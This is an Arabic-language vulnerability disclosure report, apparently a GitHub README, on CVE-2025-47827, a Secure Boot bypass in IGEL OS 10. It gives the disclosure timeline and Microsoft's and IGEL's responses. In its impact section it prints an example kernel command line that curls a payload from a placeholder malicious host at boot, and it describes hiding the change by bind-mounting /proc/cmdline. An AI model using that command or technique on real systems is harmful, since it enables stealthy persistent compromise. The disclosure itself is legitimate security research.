zedeldi/cve-2025-47827PoC وتقرير الثغرة الأمنية لـ CVE-2025-47827.
إثبات المفهوم وتقرير الثغرة الأمنية لـ CVE-2025-47827.
في IGEL OS قبل الإصدار v11، يمكن تجاوز Secure Boot لأن وحدة igel-flash-driver تتحقق بشكل غير صحيح من التوقيع المشفر. في النهاية، يمكن تحميل نظام ملفات جذر معدّل من صورة SquashFS غير موثقة.
يسمح التحقق غير الصحيح من التوقيع المشفر في وحدة نواة لينكس igel-flash-driver في IGEL OS 10 لمخترِض ضار بتجاوز Secure Boot، عن طريق تشغيل shim المُوقَّع من Microsoft 3rd Party UEFI CA، والذي يقوم بدوره بتحميل GRUB والنواة الضعيفة، وكلاهما مُوقَّع من IGEL Secure Boot Signing CA. بمجرد تحميل النواة الضعيفة و initramfs المدمجة، يمكن تحميل نظام ملفات جذر ضار من صورة SquashFS غير موثقة على القرص.
نظرًا لأن استدعاء النظام kexec_load متاح في النواة الضعيفة، يمكن استبدال النواة المُشغَّلة حاليًا بنواة غير موثوقة بالكامل، مما يسمح عمليًا بتشغيل أي نظام تشغيل، بعد سلسلة كاملة من الثقة.
في الإصدارات الأحدث من IGEL OS، تتحقق الوحدة بشكل صحيح من توقيع صورة SquashFS لنظام الملفات الجذر. ومع ذلك، فإن كلاً من النواة الضعيفة والإصدارات المصححة مُوقَّعة بنفس الشهادة، مما يسمح لنفس shim بتشغيل الإصدارات الضعيفة والمصححة على حد سواء.
سلسلة النواقل الأولية لـ CVE-2025-47827 كانت
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H،
مما أدى إلى درجة CVSS تبلغ 8.4 (عالية).
في 14 أكتوبر 2025، تم تغيير ذلك إلى
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H،
مما خفض الدرجة إلى 4.6 (متوسطة).
بالإضافة إلى ذلك، تم تعريف الضعف الأصلي على أنه CWE-347: التحقق غير الصحيح من التوقيع المشفر، ولكن MSRC قاموا بتعيينه كـ CWE-324: استخدام مفتاح بعد تاريخ انتهاء صلاحيته.
تم الاتصال بكل من IGEL وMicrosoft وإبلاغهما بهذه الثغرة الأمنية، في 6 ديسمبر 2024 و31 مارس 2025 على التوالي، قبل أن يتم الكشف عن التفاصيل علنًا في 29 مايو 2025.
نظرًا لأن IGEL OS 10 غير مدعوم وأن الثغرة الأمنية لا توجد مباشرة داخل shim، لم يقترح أي من الطرفين حلاً. ردت Microsoft بما يلي:
بعد التحقيق، قررنا أن هذا التقديم لا يفي بتعريف الثغرة الأمنية للصيانة لأن IGEL OS v10 لم يعد مدعومًا وأن المشكلة تقع في وحدة النواة وليس في shim. فقط shim هو المُوقَّع بشهادة MSFT.
نشرت IGEL إشعارًا أمنيًا لـ CVE-2025-47827 في 2 يونيو 2025.
في 13 يونيو 2025، أبلغت Microsoft بهذا مرة أخرى، وتلقيت الرد التالي:
على الرغم من أن تقريرك تضمن بعض المعلومات الجيدة، إلا أنه لا يفي بمتطلبات Microsoft كثغرة أمنية للصيانة. المشكلة المبلغ عنها تقع في وحدة النواة وليس في shim، وفقط shim مُوقَّع بشهادة MSFT. kexec يسمح بالفعل بتجاوز Secure Boot حسب التصميم (المرجع: kexec Command Line in Linux - Linux Expert Better 2025).
كان هذا سيلبي معايير الصيانة لدى MSRC إذا كانت المشكلة في برنامج تشغيل/مكون التمهيد. هذه ثغرة أمنية في برنامج تشغيل نواة توزيعة لينكس. تحدث بعد UEFI "ExitBootServices"، مما يعني أنها ليست تجاوزًا لـ Secure Boot. المستخدم لديه فقط تنفيذ كود على مستوى نظام التشغيل، وليس التمهيد.
منذ نشر مقالات إخبارية متعددة حول هذه الثغرة الأمنية، تواصل مشرفو shim مع Microsoft وIGEL لمناقشة حل.
بعد التوصل إلى حل، قمت بإنشاء قضية أخرى على MSRC في 20 أكتوبر 2025، سائلاً عن سبب التأخير في إبطال هذه shims، التعديلات على سلسلة ناقل CVSS وCWE، ولماذا ذكر دليل التحديث أن الثغرة الأمنية لم يتم الإفصاح عنها علنًا. تلقيت الرد التالي:
الثغرة التي تم إصلاحها في IGEL ليست تجاوزًا لـ Secure Boot. إنها تجاوز لنزاهة نواة لينكس خاص ولا تؤثر على Windows. shims IGEL قديمة ولا تدعم الإبطال الجديد القائم على SBAT. لذلك، أصدرت Microsoft عمليات الإبطال للحماية من الاستغلال المحتمل من ثغرات أخرى تمت حمايتها بواسطة SBAT.
Jeffrey Sutherland، كبير مديري البرامج، رد على PR لشرح أنه، بسبب عدم وجود SBAT، كان يجب إبطال shims عبر DBX، وطلبت IGEL وقتًا إضافيًا لتجنب أي عواقب غير مقصودة. كما اعتذروا عن عدم الحفاظ على التواصل بين الباحث والأطراف المعنية، كما هو مطلوب بموجب الإفصاح المنسق عن الثغرات الأمنية.
يمكن أن يؤدي استغلال تجاوز Secure Boot إلى تطوير bootkit/rootkit على مستوى النواة غير مكتشَف، مما يؤدي بدوره إلى آثار متعددة، مثل:
بدون إبطال أو تدخل يدوي، أصبح Secure Boot عديم الفائدة على جميع الأجهزة التي تثق في Microsoft 3rd Party UEFI CA، وهو الوضع الافتراضي لمعظم الأجهزة وقت كتابة هذا التقرير.
إذا تم استخدامه لـ kexec، يمكن استغلال هذه الثغرة الأمنية لتعديل نظام شرعي
بهدوء وبشكل ضار، دون التأثير على Secure Boot.
يمكن استبدال النواة بالكامل، مما يتيح تشغيل كود ضار على مستوى النواة، مانحًا وصولاً غير مقيد إلى جميع موارد النظام، بما في ذلك الذاكرة ووحدة المعالجة المركزية والأجهزة المتصلة.
سيسمح هذا بإسقاط مفاتيح التشفير من الذاكرة، وتنفيذ عمليات ضارة دون قيود، وللبرامج الضارة لتجنب الكشف.
يمكن تعديل سطر الأوامر للنواة الشرعية، لتعطيل وحدات الأمان أو تغيير معلمة
init، مما يسمح بتنفيذ حمولة ضارة بعد تحميل الجذر الحقيقي.
على سبيل المثال (modprobe، DHCP، chmod، تم حذفها للاختصار):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
يمكن لهذا أن يحل محل ملف تنفيذي شرعي، أو يختطف PID 1، أو يبدأ تشغيل نفسه تلقائيًا عند الإقلاع، مما يسهل الحصول على وصول الجذر.
يمكن [اختطاف](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) `/proc/cmdline` عن طريق ربط التحميل لإخفاء أي تعديلات.
انظر [توثيق لينكس](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) لمزيد من المعلومات.
### الاستمرارية
سيكون التأثير مستمرًا طالما أن الملفات الثنائية EFI والنواة المطلوبة موجودة، ومهيأة للإقلاع بواسطة البرامج الثابتة للنظام.
قد تتسبب تحديثات نظام التشغيل في تغييرات في ترتيب الإقلاع أو قاعدة بيانات التوقيعات المحظورة للتمهيد الآمن (DBX)، مما قد يمنع تنفيذ الملفات الثنائية. ومع ذلك، إذا تم اختراق نظام التشغيل أيضًا، فقد يتم التراجع عن هذا الإجراء العلاجي.